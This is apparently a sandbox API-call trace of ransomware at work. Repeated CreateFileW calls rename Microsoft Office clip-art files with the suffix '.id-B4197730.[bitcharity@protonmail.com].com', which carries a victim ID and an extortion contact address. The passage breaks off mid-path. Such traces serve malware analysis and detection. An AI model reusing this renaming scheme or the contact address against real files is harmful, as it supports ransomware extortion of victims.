[0253.517] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.517] CloseHandle (hObject=0x1194) returned 1 [0253.521] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.521] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.522] CloseHandle (hObject=0x1194) returned 1 [0253.524] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.524] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.524] CloseHandle (hObject=0x1194) returned 1 [0253.526] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.526] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.526] CloseHandle (hObject=0x1194) returned 1 [0253.528] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.528] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.528] CloseHandle (hObject=0x1194) returned 1 [0253.529] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.529] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.530] CloseHandle (hObject=0x1194) returned 1 [0253.531] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.531] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.531] CloseHandle (hObject=0x1194) returned 1 [0253.532] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.532] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.533] CloseHandle (hObject=0x1194) returned 1 [0253.534] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.534] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.535] CloseHandle (hObject=0x1194) returned 1 [0253.540] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.540] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.948] CloseHandle (hObject=0x1194) returned 1 [0255.649] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.649] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287020.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287020.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.769] CloseHandle (hObject=0x127c) returned 1 [0256.099] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.099] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.100] CloseHandle (hObject=0x126c) returned 1 [0256.101] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.101] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.102] CloseHandle (hObject=0x126c) returned 1 [0256.104] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.104] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.107] CloseHandle (hObject=0x126c) returned 1 [0256.108] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.108] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.109] CloseHandle (hObject=0x126c) returned 1 [0256.110] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.110] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.111] CloseHandle (hObject=0x126c) returned 1 [0256.113] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.113] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.114] CloseHandle (hObject=0x126c) returned 1 [0256.115] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.115] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.115] CloseHandle (hObject=0x126c) returned 1 [0256.117] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.117] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.118] CloseHandle (hObject=0x126c) returned 1 [0256.119] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.119] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.119] CloseHandle (hObject=0x126c) returned 1 [0256.120] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.121] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.121] CloseHandle (hObject=0x126c) returned 1 [0256.122] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.122] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.122] CloseHandle (hObject=0x126c) returned 1 [0256.123] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.124] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.124] CloseHandle (hObject=0x126c) returned 1 [0256.126] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.126] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.126] CloseHandle (hObject=0x126c) returned 1 [0256.128] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.128] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.128] CloseHandle (hObject=0x126c) returned 1 [0256.130] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.130] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.130] CloseHandle (hObject=0x126c) returned 1 [0256.132] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.132] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.133] CloseHandle (hObject=0x126c) returned 1 [0256.134] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.134] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.135] CloseHandle (hObject=0x126c) returned 1 [0256.682] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.682] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00538_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00538_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.683] CloseHandle (hObject=0x126c) returned 1 [0256.689] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.689] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.689] CloseHandle (hObject=0x118c) returned 1 [0256.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.705] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.705] CloseHandle (hObject=0x118c) returned 1 [0256.707] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.708] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00806_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00806_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.708] CloseHandle (hObject=0x118c) returned 1 [0256.710] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.710] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 